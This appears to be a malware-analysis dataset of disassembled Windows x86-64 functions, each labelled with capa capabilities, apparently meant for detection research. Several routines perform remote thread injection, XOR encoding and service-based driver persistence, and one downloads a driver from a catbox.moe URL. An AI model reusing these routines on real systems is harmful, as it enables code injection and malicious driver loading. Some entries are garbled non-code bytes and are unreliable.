joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001ce0
Capabilities:
Enumerate processes

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x258
mov r14, rdx
mov rdi, rcx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
je 0x140001d47
mov rbx, rax
lea rdx, [rsp + 0x20]
mov dword [rdx], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140001d3e
lea rsi, [rsp + 0x20]
mov rcx, r14
mov rdx, rsi
call rdi
test al, al
je 0x140001d3e
mov rcx, rbx
mov rdx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001d23
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x258
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x140001d55
Capabilities:
Query service status

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rbx, rcx
xor edi, edi
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test rax, rax
je 0x140001dd4
mov rsi, rax
mov rcx, rax
mov rdx, rbx
mov r8d, 4
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
test rax, rax
je 0x140001dc9
mov rbx, rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x20], rax
xor edi, edi
lea r8, [rsp + 0x38]
mov rcx, rbx
xor edx, edx
mov r9d, 0x24
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
cmp eax, 1
jne 0x140001dbe
mov edi, dword [rsp + 0x54]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140001dcb
xor edi, edi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret

Function at 0x140001f89
Capabilities:
Get hostname

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x110
mov rsi, rcx
lea rdx, [rsp + 0x24]
mov dword [rdx], 0x40
lea rdi, [rsp + 0x90]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, [0x1401093d2]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rbx, [rsp + 0x28]
mov rcx, rbx
call sub.cryptdll.dll_MD5Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r8, eax
mov rcx, rbx
mov rdx, rdi
call sub.cryptdll.dll_MD5Update
mov rcx, rbx
call sub.cryptdll.dll_MD5Final
lea rcx, [rsp + 0x80]
mov rdx, rdi
mov r8d, 0x40
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov edi, eax
add edi, 0xfffffffd
lea rdx, [rsp + 0x92]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov word [rsi + rdi*2], 0
mov eax, edi
add rsp, 0x110
pop rbx
pop rdi
pop rsi
ret
Function at 0x140002102
Capabilities:
Read file via mapping

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2d8
mov rsi, rcx
xor eax, eax
mov qword [rcx + 8], rax
mov qword [rcx], rax
lea rcx, [rsp + 0x40]
mov edx, 0x104
call fcn.14000202e
lea ecx, [rax - 1]
cmp word [rsp + rcx*2 + 0x40], 0x5c
je 0x140002146
mov ecx, eax
mov word [rsp + rcx*2 + 0x40], 0x5c
inc eax
mov word [rsp + rax*2 + 0x40], 0
lea r14, [rsp + 0x250]
mov rcx, r14
call fcn.140001f89
xor ecx, ecx
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, r14
call rdi
lea rdx, str..tmp
mov rcx, rbx
call rdi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
jne 0x14000222b
lea rdx, str..tmp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x1000
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 4
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test rax, rax
je 0x14000222b
mov qword [rsp + 0x20], 0x1000
mov rcx, rax
mov edx, 6
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rsi + 8], rax
test rax, rax
je 0x14000222b
mov word [rax], 0x7fe
mov rax, qword [rsi + 8]
mov word [rax + 2], 0
mov rax, rsi
add rsp, 0x2d8
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x14000224e
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xb0
mov rdi, rdx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, str._g0W
lea rcx, [rsp + 0x30]
mov r8d, eax
mov r9, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x1400022c6
test eax, eax
je 0x14000229c
mov edx, eax
xor edi, edi
xor word [rsp + rdi*2 + 0x30], 0xaaaa
inc rdi
cmp rdx, rdi
jne 0x14000228d
add eax, eax
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
lea r9, [rsp + 0x2c]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400022ba
movzx edx, word [rcx + 2]
lea r8d, [rax + rdx]
movzx edi, word [rcx]
cmp r8d, edi
ja 0x1400022ba
test eax, eax
je 0x14000230d
mov r8d, eax
xor edi, edi
movzx esi, word [rsp + rdi*2 + 0x30]
xor esi, 0xaaaa
movzx edx, dx
add edx, edi
mov word [rcx + rdx*2 + 4], si
inc rdi
mov rcx, qword [rbx + 8]
movzx edx, word [rcx + 2]
cmp r8, rdi
jne 0x1400022e8
add edx, eax
mov word [rcx + 2], dx
jmp 0x1400022ba
Function at 0x140002700
Capabilities:
Create thread
Inject thread

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rdx, rcx
lea rcx, [section..data]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rbx, [rsp + 0x48]
mov dword [rbx], 0
lea rcx, [0x140001f2f]
mov rdx, rbx
call fcn.140001ce0
mov r8d, dword [rbx]
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140002801
mov rsi, rax
mov dword [rsp + 0x20], 4
mov r8d, 0x600
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x1400027f8
mov rdi, rax
mov qword [rsp + 0x20], rbx
lea r8, [section..data]
mov r9d, 0x600
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400027f8
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r8d, 0x600
mov rcx, rsi
mov rdx, rdi
mov r9d, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400027f8
mov r9, rdi
add r9, 0x208
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
Function at 0x140019ddc
Capabilities:
Encode data using xor

Disassembly:
lahf
call 0x18e5ce9ed
cmpsd dword [rsi], dword [rdi]
xchg esp, eax
add dword [rcx + 0x6e], ebp
add byte [rdi + 0x27413b15], al
sub byte [rdx + 0x4d], ch
mov ah, 0x13
cld
xor al, 0xa7
cmp al, 0x15
push 0x1b38bac3
sub ah, bh
push rbx
xchg bx, ax
mov dh, 0x4a
sbb edi, dword [rdx]
mov r9d, dword [r11]
sbb byte [rbx], al
invalid

Function at 0x14001f594
Capabilities:
Encode data using xor

Disassembly:
test dword [rsi - 0x75], ecx
xchg edx, eax
jne 0x14001f609
outsd dx, dword [rsi]
sub byte [rsi - 0x1f], al
xor al, 0xe3
xchg edx, eax
sbb byte [rdi], dh
sbb esi, dword [rbp - 0x2ee034c3]
mov ebx, 0xab7959ab
or bh, cl
adc ah, bh
jrcxz 0x14001f599
invalid
cwde
invalid
Function at 0x140001e64
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400070b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400070b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140001eb2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001eaa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001f99
inc ebx
add rax, 0x28
jmp 0x140001e8a
mov rcx, r12
call fcn.140002691
mov rbp, rax
test rax, rax
jne 0x140001ed1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140001e00
movsxd rbx, ebx
mov rax, qword [0x1400070b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.14000273f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140001f33
mov rax, qword [0x1400070b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001e00
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001f93
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f93
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f93
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001e00
inc dword [0x1400070b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400023c0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140007120]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140007100]
test rbx, rbx
je 0x14000240c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140002406
test eax, eax
jne 0x140002406
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x1400023de
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025e3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400025e3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400025e4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x14000261e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140002615
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002620
inc r8d
add rax, 0x28
jmp 0x1400025fc
xor eax, eax
ret
Function at 0x140002691
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004650]
mov r8, rcx
mov rcx, r9
call fcn.1400025c0
test eax, eax
je 0x1400026bd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400025e4
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
mov dword [rsp + 0x28], 0
mov ecx, 0xb
lea r9, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400010ab
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001060
test eax, eax
jns 0x1400010c4
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x140001131
xor ebx, ebx
mov qword [rsp + 0x60], rbp
cmp dword [rdi], ebx
jbe 0x140001119
lea rsi, [rdi + 0x2e]
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rsi]
lea rdx, [0x140003380]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400011bc
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x1400010e0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rbp, qword [rsp + 0x60]
xor edx, edx
lea rcx, [0x140003390]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0xd38b48ff
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
test eax, eax
je 0x1400011e3
lea r10, [rdi + 4]
mov r11d, eax
nop dword [rax]
xor eax, eax
lea rcx, [rsp + 0x24]
mov r9, r10
lea rdx, [rsp + 0x20]
sub r9, rcx
movzx ecx, byte [r9 + rdx]
cmp byte [rdx], cl
jne 0x1400011da
cmp eax, 6
je 0x1400011d7
inc eax
inc rdx
cmp eax, 7
jb 0x1400011a2
jmp 0x1400011da
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000112c
mov r8, r10
inc r10
sub r11, 1
jne 0x140001190
mov ebx, dword [r8 + 3]
lea rdx, str.ZwFlushInstructionCache
add ebx, 7
movabs rax, 0xffffffff00000000
add ebx, r8d
mov rcx, rdi
and r8, rax
add rbx, r8
sub rbx, rdi
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsi, rdi
lea rcx, [rbx + 0x20]
add rax, rsi
mov qword [r14], rcx
mov qword [r14 + 8], rax
mov rax, r14
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001b90
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x140001250
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov rsi, rcx
mov edx, 0x35
mov edi, 0x34
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x1400012ef
lea r8, [rbx + 2]
cmp cx, 0x5c
lea rdx, [rdx + 2]
movzx ecx, word [rdx]
mov rax, r8
cmovne rax, rbx
add r8, 2
mov rbx, rax
test cx, cx
jne 0x1400012a1
movzx ecx, word [rax]
test cx, cx
je 0x1400012ef
movzx eax, word [rax]
lea rcx, [rsi + 0x68]
movzx edx, ax
cmp dx, 0x2e
je 0x1400012ef
add rbx, 2
mov word [rcx], ax
inc edi
add rcx, 2
movzx eax, word [rbx]
movzx edx, ax
test ax, ax
jne 0x1400012d1
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x1400013b7
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001350
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x1400013b7
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001b90
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x140001760
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [0x140003490]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034b8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x44], esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000181c
cmp rdi, 0xffffffffffffffff
je 0x14000190d
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rsi
mov r8d, 0x6650
lea rdx, [0x140005080]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000190d
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:_Windows_System32_Drivers_acpia.sys
xor ecx, ecx
lea rdx, str.https:__files.catbox.moe_skeobc.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
js 0x1400018dc
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x260]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x1400018dc
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x50]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Drivers_acpia.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x1400018dc
lea rdx, [rsp + 0x50]
lea rcx, [0x14000bee0]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x1400018dc
lea rdx, [rsp + 0x260]
lea rcx, [0x14000c0f0]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x1400018dc
call fcn.1400013e0
lea rcx, [0x140003490]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034b8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
call fcn.1400019b0
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001b90
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000249a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000249a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000249a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000249a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000249a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000249c
xor al, al
add rsp, 0x28
ret
Function at 0x1400011c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd rax, dword [rcx + 0x3c]
xor r9d, r9d
mov ebx, edx
mov r11, rcx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov esi, dword [r8 + 0x24]
add rdi, rcx
mov r10d, dword [r8 + 0x20]
add rsi, rcx
mov r8d, dword [r8 + 0x18]
add r10, rcx
test r8d, r8d
je 0x14000125b
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r10]
mov eax, 0x42be
add rdx, r11
movzx ecx, byte [rdx]
test cl, cl
je 0x140001246
nop dword [rax]
nop word [rax + rax]
imul eax, eax, 0x7313
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140001230
xor eax, 0xab98
cmp ebx, eax
je 0x140001270
inc r9d
add r10, 4
cmp r9d, r8d
jb 0x140001210
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
movzx ecx, word [rsi + r9*2]
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov eax, dword [rdi + rcx*4]
mov rdi, qword [rsp + 0x18]
add rax, r11
ret
Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000235a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000235a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000235a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000235a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000235a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000235c
xor al, al
add rsp, 0x28
ret
Function at 0x412ac0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x412c4b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ac7c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x412b25
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x412b34
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x412b53
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x412b63
cmp rbx, 0x1000
jae 0x412b2b
jmp 0x412bcd
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x412b75
xor edx, edx
jmp 0x412bc4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ac7c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x412b59
jmp 0x412b48
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x005ac7c8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x004bf054]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x004bf3c3]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x004c11b3]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS